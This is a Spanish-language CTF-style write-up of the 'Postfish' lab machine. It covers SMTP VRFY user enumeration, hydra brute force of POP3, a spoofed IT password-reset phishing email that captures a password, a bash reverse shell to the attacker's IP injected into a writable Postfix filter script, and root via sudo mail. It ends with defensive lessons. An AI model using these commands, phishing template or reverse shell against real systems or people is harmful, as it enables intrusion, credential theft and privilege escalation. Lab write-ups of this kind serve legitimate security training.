Postfish
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Postfish es un servidor de correo: la web del puerto 80 lista al equipo (nombres) y el SMTP del 25 permite enumerar usuarios válidos con VRFY (enumeración SMTP). Una fuerza bruta de POP3 entra comosales:sales; su buzón anuncia que van a enviar enlaces de reset de contraseña. Montamos un phishing: mandamos abrian.mooreun correo de "reset" apuntando a nuestro host y capturamos el POST con su nueva contraseña (EternaLSunshinE), que sirve para SSH.brian.mooreestá en el grupofilter, dueño del scriptdisclaimerde Postfix: le inyectamos una reverse shell y, al pasar un correo por el filtro, obtenemos shell comofilter(script de servicio escribible por grupo).filterpuede ejecutarrootconsudo(GTFOBins), lo que daroot.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
ping -c 1 192.168.142.13764 bytes from 192.168.142.137: icmp_seq=1 ttl=61 time=29.4 msBarremos todos los puertos TCP y luego identificamos versiones:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.142.137PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
143/tcp open imap
993/tcp open ssl/imap
995/tcp open ssl/pop3nmap -p22,25,80,110,143,993,995 -sCV 192.168.142.137 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp Postfix smtpd
|_smtp-commands: postfish.off, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ...
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd (Ubuntu)
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
995/tcp open ssl/pop3 Dovecot pop3d
Service Info: Host: postfish.off; OS: LinuxLa máquina es un servidor de correo completo: Postfix en el 25 (con VRFY habilitado, útil para enumerar usuarios) y Dovecot sirviendo POP3/IMAP (110/143/993/995). El nombre del host es postfish.off.
HTTP - TCP 80
La web es una página corporativa "Our Team" que presenta al personal con su nombre y su puesto:

Apuntamos los nombres y cargos; nos servirán de base para construir nombres de usuario:
claire madison (HR Specialist)
mike ross (IT Pro)
brian moore (Sales Manager)
sarah lorem (Legal Advisor)A partir de esos nombres generamos candidatos de usuario (con username-anarchy, por ejemplo) en distintos formatos (claire.madison, cmadison, claire, etc.).
SMTP - TCP 25
Postfix admite VRFY, que confirma si una dirección/usuario existe en el servidor. Un pequeño script recorre la lista de candidatos enviando VRFY <user> y se queda con los que responden 252 (enumeración de usuarios por SMTP):
# por cada candidato: echo -e "EHLO test\nVRFY $user\nQUIT" | nc 192.168.142.137 25
./smtp_userenum.sh
[+] User 'claire.madison' exists
[+] User 'mike.ross' exists
[+] User 'brian.moore' exists
[+] User 'hr' exists
[+] User 'it' exists
[+] User 'sales' exists
[+] User 'sarah.lorem' exists
[+] User 'legal' existsTenemos una lista corta de usuarios reales del sistema de correo.
Acceso al correo de sales
Fuerza bruta de POP3
Con la lista de usuarios probamos credenciales débiles contra POP3, usando los propios nombres como contraseña (fuerza bruta). hydra encuentra una pareja válida:
hydra -L smtp_userlist.txt -P smtp_userlist.txt -f 192.168.142.137 pop3 -I -t 64
[110][pop3] host: 192.168.142.137 login: sales password: salesLa cuenta sales:sales reutiliza el usuario como contraseña.
Lectura del buzón: el aviso del reset
Entramos al buzón por POP3 y leemos el único mensaje:
nc -nv 192.168.142.137 110
USER sales
PASS sales
LIST
RETR 1
+OK Dovecot (Ubuntu) ready.
USER sales
+OK
PASS sales
+OK Logged in.
LIST
+OK 1 messages:
1 683
RETR 1
+OK 683 octets
Subject: ERP Registration Reminder
From: it@postfish.off
Hi Sales team,
We will be sending out password reset links in the upcoming week so that we can get you registered on the ERP system.
Regards,
ITEl correo, de it@postfish.off, avisa de que en breve enviarán enlaces de reset de contraseña para registrar al personal en el ERP. Eso describe un flujo que podemos suplantar: si el sistema (o un usuario) hace clic en un enlace de reset, podemos ser nosotros quienes lo enviemos.
Shell como brian.moore
Phishing por SMTP: capturar la contraseña del reset
Como el SMTP acepta correo para los usuarios internos, enviamos a brian.moore un correo que imita al de IT, con un enlace de "reset" que apunta a nuestra máquina. Levantamos un listener en el 80 para capturar lo que envíe el cliente al pulsar el enlace:
nc -nv 192.168.142.137 25
HELO postfish.com
MAIL FROM: it@postfish.off
RCPT TO: brian.moore@postfish.off
DATA
Subject: Password Reset
reset password at this link http://192.168.45.227
.
QUITnc -nlvp 80Al poco, el cliente de brian.moore resuelve el enlace y envía un POST con el formulario de reset, que incluye su nueva contraseña en claro:

POST / HTTP/1.1
Host: 192.168.45.227
...
first_name=Brian&last_name=Moore&email=brian.moore@postfish.off&username=brian.moore&password=EternaLSunshinE&...La contraseña de brian.moore es EternaLSunshinE. La reutilizamos por SSH (reutilización de credenciales: una credencial capturada en un servicio se prueba en los demás, porque reutilizarlas es lo habitual):
ssh brian.moore@192.168.142.137 # EternaLSunshinE
brian.moore@192.168.142.137's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-64-generic x86_64)
You have mail.
Last login: Wed Jan 7 01:15:34 2026 from 192.168.45.227
brian.moore@postfish:~$La contraseña capturada abre sesión: ya somos brian.moore. Leemos la primera prueba:
cat local.txt && whoami && hostname && ip a
f7bd8865c8e5b70af2299c5bbddbe5b2Shell como filter
Abuso del grupo filter: el script disclaimer de Postfix
Miramos los grupos de brian.moore: pertenece a mail y a filter. Buscamos qué posee el grupo filter:
id
find / -group filter 2>/dev/nulluid=1000(brian.moore) gid=1000(brian.moore) groups=1000(brian.moore),8(mail),997(filter)
/etc/postfix/disclaimer
/var/spool/filter/etc/postfix/disclaimer es un script de filtro de contenido de Postfix: Postfix lo invoca (como el usuario filter) para cada correo que pasa por él, para añadir un disclaimer con altermime. Como el grupo filter puede escribirlo, le añadimos una reverse shell (script de servicio escribible por grupo):
nano /etc/postfix/disclaimer
# añadimos al principio del script:
# bash -i >& /dev/tcp/192.168.45.227/22 0>&1Disparamos el filtro enviando un correo cualquiera por SMTP (telnet/nc al 25). Cuando Postfix procesa el mensaje, ejecuta el script y recibimos shell como filter:
telnet 192.168.142.137 25
# HELO ... MAIL FROM ... RCPT TO: brian.moore@postfish.off ... DATA ... .
filter@postfish:/var/spool/postfix$ id
uid=997(filter) gid=997(filter) groups=997(filter)Escalada de privilegios
sudo mail (GTFOBins)
Comprobamos los permisos sudo de filter:
sudo -lUser filter may run the following commands on postfish:
(ALL) NOPASSWD: /usr/bin/mail *filter puede ejecutar /usr/bin/mail como root sin contraseña. La versión GNU de mail permite escapar a una shell con --exec, y como sudo no baja privilegios, esa shell es de root (abuso de sudo):

sudo mail --exec='!/bin/sh'
filter@postfish:/var/spool/postfix$ sudo mail --exec='!/bin/sh'
# whoami
rootmail escapa a /bin/sh bajo sudo sin bajar privilegios: root. Leemos la prueba final:
cat proof.txt && whoami && hostname && ip a
d5b740355d3a8d28c5959f60ef84c65fCadena de ataque
HTTP (80) -- pagina Our Team -> nombres del personal
│ username-anarchy -> candidatos de usuario
▼
SMTP (25) -- VRFY -> usuarios validos (sales, brian.moore, ...)
│ hydra POP3 -> sales:sales
│ buzon de sales -> aviso de "password reset links"
▼
phishing SMTP a brian.moore -- enlace de reset a nuestro host
│ POST capturado -> brian.moore:EternaLSunshinE -> SSH
▼
shell como brian.moore (local.txt, grupo filter)
│ /etc/postfix/disclaimer escribible -> reverse shell -> enviar correo
▼
shell como filter
│ sudo NOPASSWD /usr/bin/mail * -- mail --exec='!/bin/sh'
▼
shell como root (proof.txt)Lecciones aprendidas
- VRFY es un regalo para el atacante. Dejar
VRFYhabilitado en Postfix permite confirmar qué usuarios existen sin autenticarse, convirtiendo una lista de nombres de la web en una lista de cuentas reales. - Reutilizar el usuario como contraseña sigue cayendo.
sales:salesno necesita ni diccionario; basta con probar los propios nombres enumerados. - El phishing también es técnica de máquina. El flujo de "reset de contraseña" anunciado en un correo se puede suplantar: enviando el enlace nosotros, capturamos la contraseña que la víctima introduce. Validar el origen de esos correos y no confiar en enlaces externos es la defensa.
- Un script de servicio escribible por grupo es ejecución de código. El
disclaimerde Postfix lo ejecuta el demonio por cada correo; si un grupo no privilegiado puede editarlo, controla lo que corre el servicio. Los filtros de contenido deben ser propiedad de root y no escribibles por terceros. mailporsudoes una shell de root. Cualquier binario ensudoerscon capacidad de ejecutar programas (comomail --exec) equivale a dar root. Conviene revisar GTFOBins antes de añadir un binario asudoers.